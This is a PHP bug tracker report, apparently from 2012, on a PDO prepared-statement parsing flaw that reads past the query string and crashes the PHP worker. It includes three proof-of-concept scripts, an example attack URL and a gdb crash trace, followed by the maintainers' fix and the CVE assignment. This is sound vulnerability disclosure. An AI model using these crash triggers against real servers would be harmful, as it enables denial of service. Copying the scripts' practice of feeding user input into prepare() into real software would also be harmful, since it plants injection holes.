php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #61755 A parsing bug in the prepared statements can lead to access violations
Submitted: 2012-04-17 13:39 UTC Modified: 2012-04-19 10:50 UTC
From: noamr at beyondsecurity dot com Assigned: johannes
Status: Closed Package: PDO related
PHP Version: 5.4.0 OS: Windows and Linux
Private report: No CVE-ID:
 [2012-04-17 13:39 UTC] noamr at beyondsecurity dot com
Description:
------------
Inconsistent parsing of PHP PDO prepared statements. Erroneous design of parsers 
state machine. Under special circumstances parsing of prepared statements does 
not stop leading in cycling the whole stack without terminating on \0. This 
leads to access violations, accessing of stack data, DoS.

Bug Description
There are several design errors in the state-machine responsible for parsing PHP 
PDO based statement objects. These errors are based on the state-machines 
inability to consistently check the supplied SQL-Query. Under special 
circumstances an attacker is able to force the responsible PDO code to iterate 
beyond the termination of the supplied query string resulting in a buffer out of 
bounds access. This access may lead to uncontrollable as well as attacker 
controllable behavior and Access Violations caused by the code iterating the 
whole stack and trying to access addresses beyond the stack end.

Preconditions
* PDO is used to access the DB
* For remote attacks: User must be able to directly control any part of the 
query string prior its preparation (stm->prepare()). We are well aware that this 
is a general coding fault which leads to other security relevant implications 
but sadly enough it’s also quite common in many frameworks, projects to use 
prepared statements with user controlled data instead of binding them after 
preparation.
* Mysql_real_escape() is no mitigation for this vulnerability. (As stated above, 
there are indeed many projects using user controlled data encoded by 
mysql_real_escape() like this: $argName=mysql_real_escape($_GET[‘Name’]); $db-
>prepare(“SELECT * from ‘user’ where ‘username’=’$argName’; ”).execute();



Test script:
---------------
(We have several samples, these are some of them)

This poc directly prepares the statements query passed to the script via GET Request argument “query”. 
Examples: poc_pdo_short_get.php?query=/* poc_pdo_short_get.php?query=--:


<?php
 try {
 $db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
 //tokens: 
 // SELECT;*;from;'user';/*
 //$sql = "SELECT * from 'user'/*";
 $stmt = $db->prepare("SELECT * from 'user'".mysql_real_escape_string($_GET['query']));
 $stmt->execute();
 //crash
 $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
 $stmt->fetch(PDO::FETCH_BOUND);
 print_r( $type);
 }
 catch (Exception $e)
 {
 echo "Failed: " . $e->getMessage();
 }
 ?>


<?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");

//tokens:
// SELECT;*;from;'user';/* 
$sql = ":/*";

$stmt = $db->prepare($sql);
$stmt->execute();     // crashes php worker in pdo_parse_params()

$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
}

?>


<pre>
<?php
echo "hmm beginning\n";
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
echo "lets get it on\n";
//tokens:
// SELECT;*;from;'user';/* 
$sql = "SELECT * from user :/**";
echo $sql;
$stmt = $db->prepare($sql);
echo "prepared :)\n";
print_r($stmt);
$stmt->execute();     // crashes php worker in pdo_parse_params()
print_r($stmt);
echo "executed :(\n";
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
echo "--data-\n";
print_r( $type);
echo "--data--\n";

} catch (Exception $e) {
        echo "EXCEPTION";
  echo "Failed: " . $e->getMessage();
}
echo "hmmm end\n";
?>
</pre>

Actual result:
--------------
root@bt:/opt/lampp# gdb ./bin/php 
(gdb) run poc_pdo_linux_short_1.php
Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(gdb) bt
#0  0x08228a81 in ?? ()
#1  0x082280eb in pdo_parse_params ()
#2  0x08223891 in ?? ()
#3  0x084b2aad in ?? ()
#4  0x084b1f87 in execute ()
#5  0x08490ed2 in zend_execute_scripts ()
#6  0x0843f13c in php_execute_script ()
#7  0x08506b46 in main ()

Patches

bug61755.diff (last revision 2012-04-19 09:22 UTC) by johannes@php.net)

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2012-04-19 09:22 UTC] johannes@php.net
The following patch has been added/updated:

Patch Name: bug61755.diff
Revision:   1334827349
URL:        https://bugs.php.net/patch-display.php?bug=61755&patch=bug61755.diff&revision=1334827349
 [2012-04-19 10:50 UTC] johannes@php.net
-Status: Open +Status: Closed -Type: Security +Type: Bug -Assigned To: +Assigned To: johannes
 [2012-04-19 10:50 UTC] johannes@php.net
This bug has been fixed in SVN.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2012-06-17 07:18 UTC] henri at nerv dot fi
Does this issue have CVE-identifier? I can request one if you haven't already 
done so and someone verifies this is security issue.
 [2012-08-02 21:08 UTC] henri at nerv dot fi
Please use CVE-2012-3450 for this issue.

CVE request: http://www.openwall.com/lists/oss-security/2012/08/02/3
CVE assigned: http://www.openwall.com/lists/oss-security/2012/08/02/7
 
PHP Copyright © 2001-2014 The PHP Group
All rights reserved.
Last updated: Sun Apr 20 10:02:06 2014 UTC